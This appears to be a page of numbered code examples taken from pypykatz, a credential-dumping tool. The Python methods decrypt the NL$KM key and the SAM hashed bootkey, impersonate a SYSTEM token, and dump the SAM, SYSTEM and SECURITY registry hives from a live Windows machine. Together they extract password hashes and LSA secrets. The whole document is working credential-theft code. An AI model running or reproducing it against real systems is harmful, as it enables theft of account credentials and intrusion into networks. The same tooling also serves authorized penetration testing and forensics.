示例#1
0
    def get_NKLM_key(self):
        logger.debug('[SECURITY] Fetching NK$LM key...')
        if self.lsa_key is None:
            self.get_lsa_key()

        value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default')
        if value is None:
            logger.error('[SECURITY] Could not find NL$KM in registry')
            raise Exception('Could not find NL$KM in registry :(')

        if self.lsa_secret_key_vista_type is True:
            self.NKLM_key = b''
            record = LSA_SECRET.from_bytes(value[1])
            key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
            cipher = AES(key)
            n = 16
            for block in [
                    record.data[32:][i:i + n]
                    for i in range(0, len(record.data[32:]), n)
            ]:  #terrible, terrible workaround
                if len(block) < n:
                    block += b'\x00' * (16 - len(block))
                self.NKLM_key += cipher.decrypt(block)

        else:
            self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1])

        logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex())
        return self.NKLM_key
示例#2
0
	def get_HBoot_key(self):
		logger.debug('SAM parsing hashed bootkey')
		QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
		DIGITS = b"0123456789012345678901234567890123456789\0"
		
		F = self.hive.get_value(r'SAM\Domains\Account\F')[1]
		logger.log(1,'[SAM] F key value: %s' % F)
		
		domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F)
		
		if isinstance(domain_properties.key_0, SAM_KEY_DATA):
			rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest()
			self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum)
			
			checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest()
			
			if checksum != self.hashed_bootkey[16:]:
				logger.error('[SAM] HBootkey checksum verification failed!')
				raise Exception('[SAM] HBootkey checksum verification failed!')
				
		elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
			self.hashed_bootkey = b''
			cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
			n = 16
			for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]:  #terrible, terrible workaround
				self.hashed_bootkey += cipher.decrypt(block)
			
		logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex())
		return self.hashed_bootkey
示例#3
0
	def get_secrets(self):
		"""
		For obtaining all secrets from the registry on-the-fly, SYSTEM user MUST be used!
		In case this is not achievable, Administrator can be used to first dump the registry hives to disk, then parse them offline
		There is a 3rd way: As administrator you can obtain SE_TAKE_OWNERSHIP privileges, then you can open any hive with the WRITE_OWNER permission. 
			After doing that you'd need to change the SID of each target hive to include the administrator user with full access.
			This is so intrusive I'm not implementing that, if you mess that up your computer will turn to potato. Like literally... (also it's a lot of work)
		"""
		pm = ProcessManipulator()
		try:
			#getting a SYSTEM token...
			pm.assign_token_thread_sid()
		except Exception as e:
			logger.error('Failed to obtain SYSTEM prvis. On-the-fly parsing is not possible.')
			raise e
		else:
			self.system = SYSTEM(self.system_hive)
			bootkey = self.system.get_bootkey()
			
			if self.sam_hive:
				self.sam = SAM(self.sam_hive, bootkey)
				self.sam.get_secrets()
				
			if self.security_hive:
				self.security = SECURITY(self.security_hive, bootkey)
				self.security.get_secrets()
				
			if self.software_hive:
				try:
					self.software = SOFTWARE(self.software_hive, bootkey)
					self.software.get_default_logon()
				except Exception as e:
					logger.warning('Failed to parse SOFTWARE hive. Reason: %s' % str(e))
			self.cleanup()
示例#4
0
    def from_files(system_path, sam_path=None, security_path=None):
        po = OffineRegistry()

        try:
            sys_hive = open(system_path, 'rb')
            po.system_hive = AIOWinRegHive(sys_hive)
        except Exception as e:
            logger.error('Failed to open SYSTEM hive! Reason: %s' % str(e))
            raise e

        if sam_path:
            try:
                sam_hive = open(sam_path, 'rb')
                po.sam_hive = AIOWinRegHive(sam_hive)
            except Exception as e:
                logger.error('Failed to open SAM hive! Reason: %s' % str(e))
                raise e

        else:
            logger.warning(
                'SAM hive path not supplied! Parsing SAM will not work')

        if security_path:
            try:
                sec_hive = open(security_path, 'rb')
                po.security_hive = AIOWinRegHive(sec_hive)
            except Exception as e:
                logger.error('Failed to open SECURITY hive! Reason: %s' %
                             str(e))
                raise e

        else:
            logger.warning(
                'SECURITY hive path not supplied! Parsing SECURITY will not work'
            )

        po.get_secrets()
        try:
            sec_hive.close()
        except:
            pass
        try:
            sam_hive.close()
        except:
            pass
        try:
            sys_hive.close()
        except:
            pass

        return po
示例#5
0
    def from_live_system():
        logger.debug('Obtaining registry from local system')
        try:
            from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
            from pypykatz.commons.winapi.constants import SE_BACKUP
            import winreg
            import tempfile
            import os
            import ntpath
        except Exception as e:
            logger.error(
                'Could not import necessary packages! Are you on Windows? Error: %s'
                % str(e))
            raise

        sam_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
        system_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
        security_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())

        locations = [
            ('SAM', sam_name),
            ('SYSTEM', system_name),
            ('SECURITY', security_name),
        ]

        logger.debug('Obtaining SE_BACKUP privilege...')
        try:
            po = ProcessManipulator()
            po.set_privilege(SE_BACKUP)
        except Exception as e:
            logger.error(
                'Failed to obtain SE_BACKUP privilege! Registry dump will not work! Reason: %s'
                % str(e))
            raise e
        logger.debug('Obtaining SE_BACKUP OK!')

        dumped_names = {}
        for reg_name, location in locations:
            logger.debug('Dumping %s...' % reg_name)
            try:
                key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                                     reg_name,
                                     access=0x00020000)
                winreg.SaveKey(key, location)
                key.Close()
            except Exception as e:
                logger.error('Dumping %s FAILED!! Reason: %s' %
                             (reg_name, str(e)))
            else:
                logger.debug('Dumping %s OK!' % reg_name)
                dumped_names[reg_name] = location
        ###
        ### Do Parsing here!
        ###
        po = None
        if 'SYSTEM' in dumped_names:
            try:
                po = OffineRegistry.from_files(
                    system_name, sam_name if 'SAM' in dumped_names else None,
                    security_name if 'SECURITY' in dumped_names else None)
            except Exception as e:
                import traceback
                traceback.print_exc()
        else:
            logger.error('Failed to dump SYSTEM hive, exiting...')

        logger.debug('Cleaning up temp files')
        for reg_name, location in locations:
            try:
                os.remove(location)
            except Exception as e:
                logger.error(
                    'Failed to clean up temp file for %s! Sensitive files might have been left on the filesystem! Path: %s Reason: %s'
                    % (reg_name, location, str(e)))
            else:
                logger.debug('Cleanup for %s OK!' % reg_name)

        return po